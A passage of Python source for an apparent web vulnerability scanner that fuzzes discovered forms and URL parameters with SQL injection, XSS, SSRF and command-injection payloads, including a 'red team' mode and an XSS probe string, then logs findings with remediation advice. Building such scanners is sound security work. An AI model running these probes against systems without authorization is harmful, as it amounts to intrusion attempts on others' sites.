            parsed = urllib.parse.urlparse(url)
            qs_params = urllib.parse.parse_qs(parsed.query)
            for k, v in qs_params.items():
                if k not in all_params:
                    all_params[k] = v[0] if v else "test"

        if not all_params:
            self.log("INFO", "[Fuzzer] No parameters discovered for context-aware fuzzing")
            return

        self.log("INFO", f"[Fuzzer] Context-aware fuzzing {len(all_params)} parameter(s) with {sum(len(v) for v in TYPE_MUTATIONS.values())} mutation(s)")
        self._fuzzer.fuzz(self.target, all_params)
        baseline_body, _ = self._make_request(self.target, timeout=8)
        baseline_length = len(baseline_body or "")
        anomalies = self._fuzzer.anomalies(baseline_length)
        for anom in anomalies:
            self.log("WARNING", f"[Fuzzer] Context-aware anomaly β€” {anom['param']} ({anom['type']}) mutation={anom['mutation']} status={anom['status']} length={anom['length']}")
            self.add_vuln(
                title=f"Context-Aware Fuzzer: Anomalous '{anom['param']}' ({anom['mutation']})",
                severity="Medium",
                category="Injection",
                cvss_score=6.5,
                description=(
                    f"Parameter '{anom['param']}' (classified as '{anom['type']}') "
                    f"returned an anomalous response when mutated with '{anom['mutation']}' "
                    f"(value: {anom['value']}). "
                    f"HTTP {anom['status']}, response length {anom['length']} bytes."
                ),
                remediation="Validate and sanitize all input parameters server-side. Use parameterized queries, input type enforcement, and context-aware output encoding.",
                cwe_ids=["CWE-20"],
                owasp_category="A03:2021 – Injection",
            )

    def _fuzz_red_team_params(self, url, params, method='GET', form_inputs=None):
        ssrf_params = {"url", "redirect", "next", "return", "ref", "callback", "dest", "target", "uri", "path", "file"}
        cmd_params = {"cmd", "command", "exec", "run", "ping", "host", "ip", "query"}

        for param_name in params:
            vector_base = f"{method} {url} β†’ parameter '{param_name}'"
            if param_name.lower() in ssrf_params:
                for payload in SSRF_PAYLOADS:
                    self._tested_vectors += 1
                    if method.upper() == 'GET':
                        parsed = urllib.parse.urlparse(url)
                        test_params = {k: v[0] for k, v in urllib.parse.parse_qs(parsed.query).items()}
                        test_params[param_name] = payload
                        test_url = f"{parsed.scheme}://{parsed.netloc}{parsed.path}?{urllib.parse.urlencode(test_params)}"
                        body, _ = self._get(test_url)
                    else:
                        data = {i["name"]: (i["value"] or "test") for i in (form_inputs or [])}
                        data[param_name] = payload
                        body, _ = self._post(url, data)
                    if body and self._check_ssrf(body, payload, vector_base):
                        break

            if param_name.lower() in cmd_params:
                for payload in CMD_INJECTION_PAYLOADS[:3]:
                    self._tested_vectors += 1
                    if method.upper() == 'GET':
                        parsed = urllib.parse.urlparse(url)
                        test_params = {k: v[0] for k, v in urllib.parse.parse_qs(parsed.query).items()}
                        test_params[param_name] = payload
                        test_url = f"{parsed.scheme}://{parsed.netloc}{parsed.path}?{urllib.parse.urlencode(test_params)}"
                        body, _ = self._get(test_url)
                    else:
                        data = {i["name"]: (i["value"] or "test") for i in (form_inputs or [])}
                        data[param_name] = payload
                        body, _ = self._post(url, data)
                    if body and self._check_cmd_injection(body, payload, vector_base):
                        break

            if self.red_team:
                self._check_time_based_sqli(url, param_name, method, form_inputs)
            else:
                # Always do time-based on SSRF/cmd-named params too
                self._check_time_based_sqli(url, param_name, method, form_inputs)

    # ── Common Parameter Probing ──────────────────────────────────────
    def _probe_common_params(self):
        """Inject into common query parameter names even if not found in HTML."""
        common_params = ["id", "q", "search", "query", "page", "name", "user",
                         "email", "redirect", "url", "next", "return", "ref",
                         "callback", "cat", "category", "item", "product"]

        base = self.target.rstrip("/")
        self.log("INFO", f"[Fuzzer] Probing {len(common_params)} common parameters for blind injection...")

        for param in common_params:
            # Quick SQLi probe
            for payload in SQLI_PAYLOADS[:3]:
                self._tested_vectors += 1
                test_url = f"{base}?{param}={urllib.parse.quote(payload)}"
                body, status = self._get(test_url, timeout=5)
                if body and self._check_sqli(body, payload, f"Param probe ?{param}="):
                    break

            # Quick XSS probe
            probe_payload = '<script>alert(1)</script>'
            self._tested_vectors += 1
            test_url = f"{base}?{param}={urllib.parse.quote(probe_payload)}"
            body, status = self._get(test_url, timeout=5)
            if body:
                self._check_xss(body, probe_payload, f"Param probe ?{param}=")

            if self.red_team:
                self._fuzz_red_team_params(
                    f"{base}?{param}=test",
                    {param: ["test"]},
                    'GET'
                )

    # ── Main Entry Point ──────────────────────────────────────────────
    def run(self):
        self.log("INFO", f"[Fuzzer] Starting recursive XSS & SQLi fuzzing on {self.target}...")
        mode = "RED-TEAM" if self.red_team else "STANDARD"
        self.log("INFO",
                 f"[Fuzzer] Mode: {mode} | {len(SQLI_PAYLOADS)} SQLi + {len(XSS_PAYLOADS)} XSS payloads | "
                 f"crawl depth: {self.max_depth}")

        crawl_results = self.discovery_context or {"forms": [], "urls": []}

        try:
            # Step 2: Fuzz all discovered forms
            for form in crawl_results["forms"]:
                self._fuzz_form(form, form["url"])
                if self.red_team and form["inputs"]:
                    param_names = [i["name"] for i in form["inputs"] if i["type"] != "hidden"]
                    if param_names:
                        self._fuzz_red_team_params(
                            form["action"], param_names, form["method"], form["inputs"]
                        )

            # Step 3: Fuzz all discovered URLs (parameters)
            for url_entry in crawl_results["urls"]:
                self._fuzz_url_params(url_entry["url"])
                if self.red_team:
                    parsed = urllib.parse.urlparse(url_entry["url"])
                    params = urllib.parse.parse_qs(parsed.query)
                    if params:
                        self._fuzz_red_team_params(url_entry["url"], params)

        except Exception as e:
            self.log("WARNING", f"[Fuzzer] Unexpected error during scan: {str(e)}")

        # Step 4: Probe common parameter names on the base target URL
        self._probe_common_params()

        # Step 5: Context-aware fuzzing
        self._context_fuzz()

        # Summary
        self.log("SUCCESS" if not self.vulns else "WARNING",
                 f"[Fuzzer] Complete β€” {self._tested_vectors} vectors tested | "
                 f"{self._sqli_found} SQLi | {self._xss_found} XSS confirmed")
        return self.vulns

if __name__ == "__main__":
    from scanners.fuzzer_scanner import FuzzerScanner
    
    print("=== Running direct test of FuzzerScanner ===")
    scanner = FuzzerScanner(
        scan_id="direct-test-fuzzer",
        target="http://httpbin.org",
        domain="httpbin.org",
        max_depth=1
    )
    
    # Custom logger for console output
    def console_log(level, msg):
        print(f"[{level}] {msg}")
    scanner.log = console_log
    
    findings = scanner.run()
    print("\n=== Scan Complete ===")
    print(f"Vulnerabilities found: {len(findings)}")
    for vuln in findings:
        print(f" - [{vuln['severity']}] {vuln['title']}")